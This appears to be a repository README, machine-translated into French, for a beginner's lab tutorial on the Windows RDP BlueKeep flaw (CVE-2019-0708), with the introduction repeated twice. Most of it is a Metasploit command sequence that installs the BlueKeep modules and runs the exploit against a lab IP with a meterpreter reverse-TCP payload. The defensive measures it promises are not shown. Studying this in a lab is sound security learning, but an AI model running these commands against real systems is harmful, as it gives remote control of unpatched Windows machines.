eastmountyxz/cve-2019-0708-windows
Cet article abordera la vulnérabilité du service Bureau à distance de Windows (CVE-2019-0708) et expliquera en détail cette vulnérabilité ainsi que les mesures de défense. En tant que débutant en cybersécurité, l'auteur partage avec vous quelques tutoriels d'auto-apprentissage de base, principalement des notes en ligne sur les outils de sécurité et les opérations pratiques. J'espère qu'ils vous plairont. De plus, je souhaite vivement que vous puissiez réaliser les manipulations avec moi et progresser ensemble. Par la suite, j'approfondirai les connaissances en cybersécurité et en sécurité des systèmes, et partagerai les expériences correspondantes. En somme, j'espère que cette série d'articles sera utile aux amis lecteurs du blog. Écrire des articles n'est pas chose aisée ; experts, si cela ne vous plaît pas, merci de ne pas critiquer. Merci !
Cet article partagera la vulnérabilité du service Bureau à distance Windows (CVE-2019-0708), et expliquera en détail cette vulnérabilité ainsi que les mesures défensives. En tant que débutant en cybersécurité, l'auteur partage quelques tutoriels d'auto-apprentissage, principalement des notes en ligne sur les outils de sécurité et leur mise en pratique. J'espère qu'ils vous plairont. Surtout, j'espère que vous pourrez avancer et progresser avec moi ; par la suite, nous approfondirons les connaissances en cybersécurité et en sécurité des systèmes et partagerons des expériences connexes. En résumé, j'espère que cette série d'articles sera utile aux amis blogueurs ; écrire des articles n'est pas facile, les experts, si cela ne vous plaît pas, ne critiquez pas, merci !
Blog correspondant :
[Auto-apprentissage cybersécurité] 58. Exploitation des vulnérabilités Windows - Retour sur CVE-2019-0708 et reverse shell Metasploit
[Auto-apprentissage cybersécurité] 44. Reproduction et explication détaillée de la vulnérabilité du service Bureau à distance Windows (CVE-2019-0708)
Commandes clés :
# 复制文件
cp ./rdp/rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/
cp ./rdp/rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
cp ./rdp/cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
cp ./rdp/cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/
# 开启工具
msfconsole
reload_all
search 0708
# 使用脚本
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
# 查看信息
show options
show targets
info
# 设置监听地址、目标地址、反弹payload、目标类型
set rhosts 192.168.44.132
set lhost 192.168.44.129
set rdp_client_ip 192.168.44.129
set payload windows/x64/meterpreter/reverse_tcp
unset RDP_CLIENT_NAME
set target 3
# 运行脚本
run
exploit
# 设置带宽
Set GROOMSIZE 40